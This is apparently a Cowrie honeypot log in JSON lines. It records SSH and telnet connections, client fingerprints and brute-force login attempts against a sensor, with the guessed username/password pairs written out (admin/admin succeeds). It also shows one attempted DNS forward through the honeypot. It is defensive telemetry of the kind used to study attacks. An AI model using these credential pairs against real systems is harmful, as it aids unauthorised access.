{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:11.327709Z","src_ip":"197.221.232.44","session":"671eb63fc2dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:11.579657Z","src_ip":"197.221.232.44","session":"671eb63fc2dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"fjbdfdjkdsfs541544","message":"login attempt [admin/fjbdfdjkdsfs541544] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:12.609476Z","src_ip":"197.221.232.44","session":"671eb63fc2dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:13.861768Z","src_ip":"197.221.232.44","session":"671eb63fc2dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":46100,"dst_ip":"10.17.0.5","dst_port":22,"session":"22df69957cc6","protocol":"ssh","message":"New connection: 103.77.242.62:46100 (10.17.0.5:22) [session: 22df69957cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:15.045410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:15.050610Z","src_ip":"103.77.242.62","session":"22df69957cc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:15.297653Z","src_ip":"103.77.242.62","session":"22df69957cc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:16.038114Z","src_ip":"103.77.242.62","session":"22df69957cc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:17.288442Z","src_ip":"103.77.242.62","session":"22df69957cc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.186.40.161","src_port":45206,"dst_ip":"10.17.0.5","dst_port":22,"session":"469f52d710ea","protocol":"ssh","message":"New connection: 201.186.40.161:45206 (10.17.0.5:22) [session: 469f52d710ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:21.375404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:21.380407Z","src_ip":"201.186.40.161","session":"469f52d710ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:21.532820Z","src_ip":"201.186.40.161","session":"469f52d710ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev@123","message":"login attempt [dev/dev@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:22.161471Z","src_ip":"201.186.40.161","session":"469f52d710ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:23.314219Z","src_ip":"201.186.40.161","session":"469f52d710ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.235285997390747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:40.133771Z","src_ip":"135.148.14.151","session":"77b365adb50a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36884,"dst_ip":"159.203.135.109","dst_port":23,"session":"a45a817af2a6","protocol":"telnet","message":"New connection: 135.148.14.151:36884 (159.203.135.109:23) [session: a45a817af2a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:46.740397Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38320,"dst_ip":"159.203.135.109","dst_port":23,"session":"1db29a5536a1","protocol":"telnet","message":"New connection: 135.148.14.151:38320 (159.203.135.109:23) [session: 1db29a5536a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:50.017946Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.211.187.248","src_port":34401,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c0f6b1bf4fd","protocol":"telnet","message":"New connection: 115.211.187.248:34401 (10.17.0.5:23) [session: 3c0f6b1bf4fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:57.076470Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.247.111","src_port":60586,"dst_ip":"10.17.0.5","dst_port":22,"session":"4568ae32a10b","protocol":"ssh","message":"New connection: 150.109.247.111:60586 (10.17.0.5:22) [session: 4568ae32a10b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:59.154121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:59.159094Z","src_ip":"150.109.247.111","session":"4568ae32a10b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:59.368397Z","src_ip":"150.109.247.111","session":"4568ae32a10b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123QWE","message":"login attempt [root/qwe123QWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:43:00.239410Z","src_ip":"150.109.247.111","session":"4568ae32a10b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:43:01.452355Z","src_ip":"150.109.247.111","session":"4568ae32a10b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.345999479293823,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:43:09.422371Z","src_ip":"115.211.187.248","session":"3c0f6b1bf4fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":47642,"dst_ip":"159.203.135.109","dst_port":22,"session":"18e3ba29250b","protocol":"ssh","message":"New connection: 103.77.175.15:47642 (159.203.135.109:22) [session: 18e3ba29250b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:43:09.882043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:43:09.887424Z","src_ip":"103.77.175.15","session":"18e3ba29250b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:43:10.144567Z","src_ip":"103.77.175.15","session":"18e3ba29250b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pthrfkj","message":"login attempt [root/pthrfkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:43:10.916225Z","src_ip":"103.77.175.15","session":"18e3ba29250b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:43:12.175150Z","src_ip":"103.77.175.15","session":"18e3ba29250b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.88156723976135,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:43:22.621824Z","src_ip":"135.148.14.151","session":"a45a817af2a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":20972,"dst_ip":"10.17.0.5","dst_port":22,"session":"96299a21c47a","protocol":"ssh","message":"New connection: 87.251.64.176:20972 (10.17.0.5:22) [session: 96299a21c47a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:43:23.508257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:43:23.517122Z","src_ip":"87.251.64.176","session":"96299a21c47a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:43:23.612513Z","src_ip":"87.251.64.176","session":"96299a21c47a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:43:23.899813Z","src_ip":"87.251.64.176","session":"96299a21c47a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:43:23.997070Z","session":"96299a21c47a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:43:24.091643Z","src_ip":"87.251.64.176","session":"96299a21c47a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:43:24.188639Z","src_ip":"87.251.64.176","session":"96299a21c47a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.24442195892334,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:43:27.262252Z","src_ip":"135.148.14.151","session":"1db29a5536a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60696,"dst_ip":"159.203.135.109","dst_port":23,"session":"763f12ebd78c","protocol":"telnet","message":"New connection: 135.148.14.151:60696 (159.203.135.109:23) [session: 763f12ebd78c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:43:40.261699Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60114,"dst_ip":"159.203.135.109","dst_port":23,"session":"e27f2abe3afe","protocol":"telnet","message":"New connection: 135.148.14.151:60114 (159.203.135.109:23) [session: e27f2abe3afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:43:42.005039Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.186.40.161","src_port":47160,"dst_ip":"10.17.0.5","dst_port":22,"session":"731ad9d214a4","protocol":"ssh","message":"New connection: 201.186.40.161:47160 (10.17.0.5:22) [session: 731ad9d214a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:03.340572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:03.345536Z","src_ip":"201.186.40.161","session":"731ad9d214a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:03.493790Z","src_ip":"201.186.40.161","session":"731ad9d214a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.221.232.44","src_port":41730,"dst_ip":"159.203.135.109","dst_port":22,"session":"cac073a0f949","protocol":"ssh","message":"New connection: 197.221.232.44:41730 (159.203.135.109:22) [session: cac073a0f949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:04.041475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:04.046557Z","src_ip":"197.221.232.44","session":"cac073a0f949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dima","password":"dima","message":"login attempt [dima/dima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:04.113125Z","src_ip":"201.186.40.161","session":"731ad9d214a4","protocol":"ssh"}
